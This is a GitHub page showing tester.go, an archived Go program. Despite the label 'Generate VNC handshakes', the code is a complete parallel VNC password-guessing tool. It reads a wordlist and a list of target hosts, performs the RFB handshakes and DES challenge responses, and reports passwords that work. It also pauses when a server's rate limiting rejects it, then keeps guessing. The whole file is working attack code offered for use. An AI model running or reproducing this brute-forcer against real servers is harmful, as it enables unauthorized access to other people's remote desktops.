This repository has been archived by the owner on Apr 7, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 6
/
tester.go
676 lines (637 loc) · 15.8 KB
/
tester.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
package main
/*
* tester.go
* Generate VNC handshakes
* By J. Stuart McMurray
* Created 20170826
* Last Modified 20170826
*/
import (
"bufio"
"bytes"
"crypto/cipher"
"crypto/des"
"encoding/binary"
"errors"
"flag"
"fmt"
"io"
"log"
"net"
"os"
"strings"
"sync"
"time"
)
const (
// VERSION8 is the RFB string for RFB 3.8
VERSION8 = "RFB 003.008\n"
// VERSION7 is the RFB string for RFB 3.7
VERSION7 = "RFB 003.007\n"
// VERSION3 is the RFB string for RFB 3.3
VERSION3 = "RFB 003.003\n"
// BUFLEN is the size of the network read/write buffer
BUFLEN = 65535
)
var (
// ErrorBadPassword is returned by try on password rejection
ErrorBadPassword = errors.New("bad password")
// ErrorHandshakeFailure is returned by try when the handshake fails
ErrorHandshakeFailure = errors.New("handshake failure")
// ErrorNoAuthNeeded is erturned by try when None auth is offered but
// VNC auth isn't.
ErrorNoAuthNeeded = errors.New("none auth acceptable and " +
"VNC auth not supported")
// REVERSEDBYTE is a lookup table to get the byte backwards. Not in
// the RFC, but it seems to be how it works.
REVERSEDBYTE = [256]byte{
0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0,
0x10, 0x90, 0x50, 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x23, 0xa3, 0x63, 0xe3,
0x13, 0x93, 0x53, 0xd3, 0x33, 0xb3, 0x73, 0xf3,
0x0b, 0x8b, 0x4b, 0xcb, 0x2b, 0xab, 0x6b, 0xeb,
0x1b, 0x9b, 0x5b, 0xdb, 0x3b, 0xbb, 0x7b, 0xfb,
0x07, 0x87, 0x47, 0xc7, 0x27, 0xa7, 0x67, 0xe7,
0x17, 0x97, 0x57, 0xd7, 0x37, 0xb7, 0x77, 0xf7,
0x0f, 0x8f, 0x4f, 0xcf, 0x2f, 0xaf, 0x6f, 0xef,
0x1f, 0x9f, 0x5f, 0xdf, 0x3f, 0xbf, 0x7f, 0xff,
}
)
/* password contains a cryptor (for crypting the challenge) as well as the
password which was used to generate the cryptor */
type password struct {
cryptor cipher.Block
password string
lock *sync.Mutex
}
/* newPassword returns a password from p, as well as the 8-byte key. */
func newPassword(pass string) (*password, string) {
/* Turn password into exactly 8 bytes */
p := []byte(pass)
if 8 < len(p) {
p = p[:8]
} else if 8 > len(p) {
p = append(p, make([]byte, 8-len(p))...)
}
if 8 != len(p) {
log.Panicf("Invalid password buffer %q length: %v", p, len(p))
}
/* Reverse bytes in password */
rev := make([]byte, len(p))
for i, v := range p {
rev[i] = REVERSEDBYTE[v]
}
/* Cryptor using the key */
d, err := des.NewCipher(rev)
if nil != err {
panic(err)
}
return &password{
cryptor: d,
password: pass,
lock: &sync.Mutex{},
}, string(rev)
}
/* crypt encrypts c. It panics if challenge isn't 16 bytes. */
func (p *password) crypt(c []byte) {
if 16 != len(c) {
log.Panicf("%v-byte challenge", len(c))
}
p.lock.Lock()
defer p.lock.Unlock()
/* Encrypt challenge */
p.cryptor.Encrypt(c[:8], c[:8])
p.cryptor.Encrypt(c[8:16], c[8:16])
}
func main() {
var (
printFails = flag.Bool(
"fails",
false,
"Print failed auth attempts",
)
sleepTime = flag.Duration(
"rejection-pause",
30*time.Second,
"Pause duration after "+
"\"Your connection has been rejected\"",
)
pauseTime = flag.Duration(
"attempt-pause",
1500*time.Millisecond,
"Sleep duration between auth attempts",
)
wordlist = flag.String(
"wordlist",
"-",
"Name of `file` with VNC passwords (or - for stdin)",
)
hsto = flag.Duration(
"hsto",
30*time.Second,
"Handshake `timeout`",
)
nTargets = flag.Uint(
"parallel",
128,
"Attempt to authenticate to `N` hosts in parallel",
)
defPort = flag.Uint(
"port",
5900,
"Default VNC `port`",
)
stopSuc = flag.Bool(
"stop",
false,
"Stop authenticating to a host after a successful "+
"authentication",
)
targetList = flag.String(
"hosts",
"",
"Optional `file` from which to read hosts, "+
"one per line",
)
dialto = flag.Duration(
"dialto",
30*time.Second,
"Dial `timeout`",
)
duppwok = flag.Bool(
"duppw",
false,
"Do not log duplicate passwords",
)
)
flag.Usage = func() {
fmt.Fprintf(
os.Stderr,
`Usage: %v [options] [server [server...]]
Generates authentication attempts against the given server(s).
The wordlist will be deduplicated.
Options:
`,
os.Args[0],
)
flag.PrintDefaults()
}
flag.Parse()
log.SetOutput(os.Stdout)
/* Make sure we have targets */
targets, err := parseTargetList(flag.Args(), *targetList)
if nil != err {
log.Printf("Unable to parse hosts: %v", err)
}
if 0 == len(targets) {
log.Fatalf("No targets")
}
log.Printf("Will authenticate to %v hosts", len(targets))
/* Port can't be larger than 16 bits */
if 65535 < *defPort {
log.Fatalf(
"Impossible (>65535) default port (-defport) %v",
*defPort,
)
}
/* Slurp passwords */
passwords, err := readPasswords(*wordlist, *duppwok)
if nil != err {
log.Fatalf("Unable to read wordlist: %v", err)
}
n := fmt.Sprintf("%q", *wordlist)
if "-" == *wordlist {
n = "standard input"
}
if 0 == len(passwords) {
log.Fatalf("Did not find any passwords in %v", n)
}
log.Printf("Read %v passwords from %v", len(passwords), n)
/* Start attackers */
var (
wg = &sync.WaitGroup{}
ch = make(chan string)
)
if 0 == *nTargets {
log.Fatalf("Must attack at least 1 host (-parallel)")
}
for i := uint(0); i < *nTargets; i++ {
wg.Add(1)
go attacker(
ch,
passwords,
*printFails,
*sleepTime,
*pauseTime,
fmt.Sprintf("%v", *defPort),
*stopSuc,
*hsto,
*dialto,
wg,
)
}
/* Queue up targets */
for _, target := range targets {
if "" == target {
log.Printf("Ignoring blank host")
}
ch <- target
}
close(ch)
wg.Wait()
log.Printf("Done.")
}
/* attacker attacks hosts sent on tch */
func attacker(
tch <-chan string,
passwords []*password,
printFails bool,
sleepTime time.Duration,
pauseTime time.Duration,
defPort string,
stopSuc bool,
hsto time.Duration,
dialto time.Duration,
wg *sync.WaitGroup,
) {
defer wg.Done()
/* Allocate a static buffer to save malloc/gc time */
var buf = make([]byte, BUFLEN)
/* Attack each target from tch */
for target := range tch {
/* Make sure we have a port */
if _, p, err := net.SplitHostPort(target); "" == p ||
nil != err {
target = net.JoinHostPort(target, defPort)
}
/* Try the passwords */
attackHost(
target,
passwords,
printFails, sleepTime,
pauseTime,
stopSuc,
buf,
hsto,
dialto,
)
}
}
/* attackHost tries the passwords against the given host */
func attackHost(
target string,
passwords []*password,
printFails bool,
sleepTime time.Duration,
pauseTime time.Duration,
stopSuc bool,
buf []byte,
hsto time.Duration,
dialto time.Duration,
) {
var (
nextp int /* Password slice index */
pass *password /* Password to try */
)
for {
/* Get a password if we haven't one */
if nil == pass {
/* Make sure we're not out of passwords */
if len(passwords) <= nextp {
Log(target, "No more passwords")
return
}
pass = passwords[nextp]
nextp++
}
/* Connect to the target */
c, err := net.DialTimeout("tcp", target, dialto)
if nil != err {
Log(target, "Connection failed: %v", err)
return
}
/* Don't let the attempt take too long */
var (
done = make(chan struct{})
to = false /* True if we timed out */
)
go func() {
select {
case <-time.After(hsto):
to = true
case <-done:
}
c.Close()
}()
/* Attempt to authenticate with the password */
err = try(c, target, pass, buf)
close(done)
if to {
Log(target, "Handshake timeout after %v", hsto)
return
}
/* Got it right */
if nil == err {
Log(target, "Success: %q", pass.password)
/* Next target if we're out of them */
if stopSuc {
return
}
}
/* Maybe get a message explaining why it's wrong */
i := bytes.Index(buf, []byte{0x00})
if -1 == i {
i = len(buf)
}
mbuf := string(buf[:i])
/* As a special case, we may have hit rate-limiting */
if "Your connection has been rejected" == string(mbuf) {
Log(
target,
"Rejected connection while attempting %q, "+
"sleeping %v",
pass.password,
sleepTime,
)
time.Sleep(sleepTime)
continue
}
/* Back to normal error-handling */
switch err {
case ErrorHandshakeFailure:
Log(target, "Handshake failure: %q", mbuf)
return
case ErrorBadPassword:
if printFails {
msg := fmt.Sprintf("Fail: %q", pass.password)
if 0 != i {
msg += fmt.Sprintf(" (%q)", buf[:i])
}
Log(target, "%v", msg)
}
pass = nil
time.Sleep(pauseTime)
continue
default: /* Something bad happened */
Log(target, "Error: %v", err)
return
}
}
}
/* try attempts the password against the target. Any message from the target
is put into buf, null-terminated (unless it fills buf). */
func try(c net.Conn, target string, pass *password, buf []byte) error {
/* Version handshake */
n, err := io.ReadFull(c, buf[:12])
if nil != err {
return fmt.Errorf("version read: %v", err)
}
sver := string(buf[:n]) /* Server version */
if VERSION3 > sver {
return fmt.Errorf("Server version %q too low", buf[:n])
}
/* Perform the version-specific bit of the handshake to get to where
we can auth */
switch sver {
case VERSION3:
err = handshake3(c, buf)
case VERSION7, VERSION8:
err = handshake8(c, buf, sver)
default:
return fmt.Errorf("Unknown version %q", sver)
}
if nil != err {
return err
}
/* Get challenge, encrypt, send back */
n, err = io.ReadFull(c, buf[:16])
if nil != err {
return fmt.Errorf("challenge read: %v", err)
}
pass.crypt(buf[:16])
if _, err := c.Write(buf[:16]); nil != err {
return fmt.Errorf("challenge response write: %v", err)
}
/* Did it work? */
n, err = io.ReadFull(c, buf[:4])
if nil != err {
return fmt.Errorf("auth response read: %v", err)
}
if 0 == buf[0]|buf[1]|buf[2]|buf[3] {
/* Worky */
return nil
}
/* Maybe we'll get a nice error message */
if err := readFinalString(c, buf); nil != err {
return fmt.Errorf("auth fail reason read: %v", err)
}
return ErrorBadPassword
}
/* readPasswords slurps and returns the passwords from the given file, which
may be "-" to read from stdin */
func readPasswords(fn string, duppwok bool) ([]*password, error) {
var (
err error
f = os.Stdin
out []*password
have = make(map[string]struct{})
)
/* Open file if not stdin */
if "-" != fn {
f, err = os.Open(fn)
if nil != err {
return nil, err
}
}
defer f.Close()
/* Get lines */
scanner := bufio.NewScanner(f)
for scanner.Scan() {
/* Get the password */
p := scanner.Text()
/* Turn it into something usable */
pass, rev := newPassword(p)
/* Make sure we don't already have it */
if _, ok := have[rev]; ok {
if !duppwok {
log.Printf("Ignoring duplicate pasword %q", p)
}
continue
}
/* Add to the list of passwords */
out = append(out, pass)
have[rev] = struct{}{}
}
if err := scanner.Err(); nil != err {
return nil, err
}
return out, nil
}
// Log logs with log.Printf the formatted string f with arguments a...
// preceeded by tag in square brackets
func Log(tag, f string, a ...interface{}) {
log.Printf("[%v] %v", tag, fmt.Sprintf(f, a...))
}
/* parseTargetList gets the targets from the named file as well as from ts,
deduplicates them, and returns them */
func parseTargetList(ts []string, fn string) ([]string, error) {
var (
have = map[string]struct{}{}
out = []string{}
)
/* Dedupe the command line args first */
for _, t := range ts {
out = addTarget(have, out, t)
}
/* If there's no filename, we're done */
if "" == fn {
return out, nil
}
/* Try to read from the file */
f, err := os.Open(fn)
if nil != err {
return nil, err
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
t := strings.TrimSpace(scanner.Text())
if "" == t || strings.HasPrefix(t, "#") {
continue
}
out = addTarget(have, out, t)
}
return out, nil
}
/* addTarget adds to to out, using have for deduplication */
func addTarget(have map[string]struct{}, out []string, t string) []string {
if _, ok := have[t]; ok {
log.Printf("Ignoring duplicate target %v", t)
return out
}
have[t] = struct{}{}
return append(out, t)
}
/* handshake8 performs the RFB 3.8-speecfic part of the handshake. It also
should work for RFB 3.7. */
func handshake8(c net.Conn, buf []byte, version string) error {
/* Tell the server what version we'd like */
if _, err := c.Write([]byte(version)); nil != err {
return fmt.Errorf("version handshake: %v", err)
}
/* Security handshake */
_, err := c.Read(buf[:1])
if nil != err {
return fmt.Errorf("security type count read: %v", err)
}
nt := buf[0]
/* No security types offered */
if 0 == nt {
if err := readFinalString(c, buf); nil != err {
return fmt.Errorf("handshake failure read: %v", err)
}
return ErrorHandshakeFailure
}
/* Make sure we have VNC auth */
_, err = io.ReadFull(c, buf[:nt])
if nil != err {
return fmt.Errorf("security types read: %v", err)
}
var (
haveVNC bool /* VNC Auth allowed */
haveNone bool /* No password needed */
)
for _, t := range buf[:nt] {
switch t {
case 0x00:
return errors.New("invalid security type 0x00")
case 0x01: /* No auth needed */
haveNone = true
case 0x02: /* This is VNC auth */
haveVNC = true
}
}
if !haveVNC {
if haveNone {
return ErrorNoAuthNeeded
}
return fmt.Errorf(
"VNC auth unsupported (supported auth types %v)",
buf[:nt],
)
}
if _, err := c.Write([]byte{0x02}); nil != err {
return fmt.Errorf("VNC auth request: %v", err)
}
return nil
}
/* handshake3 performs the RFB 3.3-specific part of the handshake */
func handshake3(c net.Conn, buf []byte) error {
/* Tell the server what version we'd like */
if _, err := c.Write([]byte(VERSION3)); nil != err {
return fmt.Errorf("version handshake: %v", err)
}
/* Get security type server wants */
if _, err := io.ReadFull(c, buf[:4]); nil != err {
return fmt.Errorf("security type read: %v", err)
}
/* Work out auth server wants */
switch buf[3] {
case 0: /* Connection failed */
if err := readFinalString(c, buf); nil != err {
return fmt.Errorf("connection fail read: %v", err)
}
return ErrorHandshakeFailure
case 1: /* No auth */
return ErrorNoAuthNeeded
case 2: /* VNC Auth, this is what we expect */
return nil
default: /* Against spec */
return fmt.Errorf("unexpected security type %q", buf[:4])
}
}
/* readFinalString reads the final 4-byte length and string from a connection
into b. The string will be NULL-terminated if it is less than the size of buf.
If no string is read, the first byte of buf will be NULL. */
func readFinalString(c net.Conn, buf []byte) error {
buf[0] = 0x00
/* Get the message length */
_, err := io.ReadFull(c, buf[:4])
if nil != err {
return err
}
mlen := int(binary.BigEndian.Uint32(buf[:4]))
/* Don't read more than the buffer holds */
if len(buf) < mlen {
mlen = len(buf)
}
/* Get the message and null terminate it */
buf[0] = 0x00
n, err := io.ReadFull(c, buf[:mlen])
if n < len(buf) {
buf[n] = 0x00
}
return err
}